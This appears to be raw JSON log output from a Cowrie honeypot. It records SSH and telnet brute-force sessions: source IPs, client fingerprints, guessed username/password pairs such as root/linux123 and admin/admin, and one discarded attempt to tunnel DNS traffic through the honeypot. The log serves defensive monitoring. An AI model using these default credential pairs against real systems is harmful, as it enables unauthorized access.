{"eventid":"cowrie.session.closed","duration":31.185234308242798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:54.119505Z","src_ip":"74.91.213.120","session":"efe393d9cc08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6e0c3f813f8","protocol":"ssh","message":"New connection: 45.153.34.114:54568 (159.203.135.109:22) [session: d6e0c3f813f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:54.869946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:54.874724Z","src_ip":"45.153.34.114","session":"d6e0c3f813f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:54.959021Z","src_ip":"45.153.34.114","session":"d6e0c3f813f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:55.222205Z","src_ip":"45.153.34.114","session":"d6e0c3f813f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":54628,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b88dd0a688","protocol":"ssh","message":"New connection: 159.195.79.219:54628 (10.17.0.5:22) [session: 55b88dd0a688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:55.414329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:55.419304Z","src_ip":"159.195.79.219","session":"55b88dd0a688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:55.510364Z","src_ip":"159.195.79.219","session":"55b88dd0a688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:55.912331Z","src_ip":"159.195.79.219","session":"55b88dd0a688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:56.319835Z","src_ip":"45.153.34.114","session":"d6e0c3f813f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:57.010201Z","src_ip":"159.195.79.219","session":"55b88dd0a688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1428325176239,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:58.545464Z","src_ip":"74.91.213.120","session":"1fe0c3910d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37880,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe9b065f2768","protocol":"ssh","message":"New connection: 87.251.64.176:37880 (10.17.0.5:22) [session: fe9b065f2768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:58.594380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:58.599253Z","src_ip":"87.251.64.176","session":"fe9b065f2768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:58.695648Z","src_ip":"87.251.64.176","session":"fe9b065f2768","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:58.984251Z","src_ip":"87.251.64.176","session":"fe9b065f2768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":39514,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f06037370d4","protocol":"ssh","message":"New connection: 92.191.96.70:39514 (10.17.0.5:22) [session: 5f06037370d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.015255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.020236Z","src_ip":"92.191.96.70","session":"5f06037370d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.083292Z","session":"fe9b065f2768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.150730Z","src_ip":"92.191.96.70","session":"5f06037370d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.181702Z","src_ip":"87.251.64.176","session":"fe9b065f2768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.281157Z","src_ip":"87.251.64.176","session":"fe9b065f2768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:59.673567Z","src_ip":"92.191.96.70","session":"5f06037370d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:00.800068Z","src_ip":"92.191.96.70","session":"5f06037370d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138060092926025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:02.390109Z","src_ip":"74.91.213.120","session":"ea6cc852222e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56474,"dst_ip":"159.203.135.109","dst_port":22,"session":"42616bbaec15","protocol":"ssh","message":"New connection: 45.153.34.114:56474 (159.203.135.109:22) [session: 42616bbaec15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:02.763577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:02.768972Z","src_ip":"45.153.34.114","session":"42616bbaec15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:02.862004Z","src_ip":"45.153.34.114","session":"42616bbaec15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:03.227262Z","src_ip":"45.153.34.114","session":"42616bbaec15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:04.315982Z","src_ip":"45.153.34.114","session":"42616bbaec15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":1901,"dst_ip":"10.17.0.5","dst_port":22,"session":"1690494ded82","protocol":"ssh","message":"New connection: 175.107.32.186:1901 (10.17.0.5:22) [session: 1690494ded82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:08.244609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:08.249399Z","src_ip":"175.107.32.186","session":"1690494ded82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:08.457731Z","src_ip":"175.107.32.186","session":"1690494ded82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:09.319953Z","src_ip":"175.107.32.186","session":"1690494ded82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:10.531258Z","src_ip":"175.107.32.186","session":"1690494ded82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44392,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad308558df7","protocol":"ssh","message":"New connection: 45.153.34.114:44392 (159.203.135.109:22) [session: dad308558df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:11.627286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:11.632477Z","src_ip":"45.153.34.114","session":"dad308558df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:11.725825Z","src_ip":"45.153.34.114","session":"dad308558df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:11.987042Z","src_ip":"45.153.34.114","session":"dad308558df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:13.084450Z","src_ip":"45.153.34.114","session":"dad308558df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.268505573272705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:13.625253Z","src_ip":"74.91.213.120","session":"f6970f11e59d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38614,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd438feb0974","protocol":"ssh","message":"New connection: 45.153.34.114:38614 (159.203.135.109:22) [session: bd438feb0974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:20.165968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:20.171223Z","src_ip":"45.153.34.114","session":"bd438feb0974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:20.253949Z","src_ip":"45.153.34.114","session":"bd438feb0974","protocol":"ssh"}
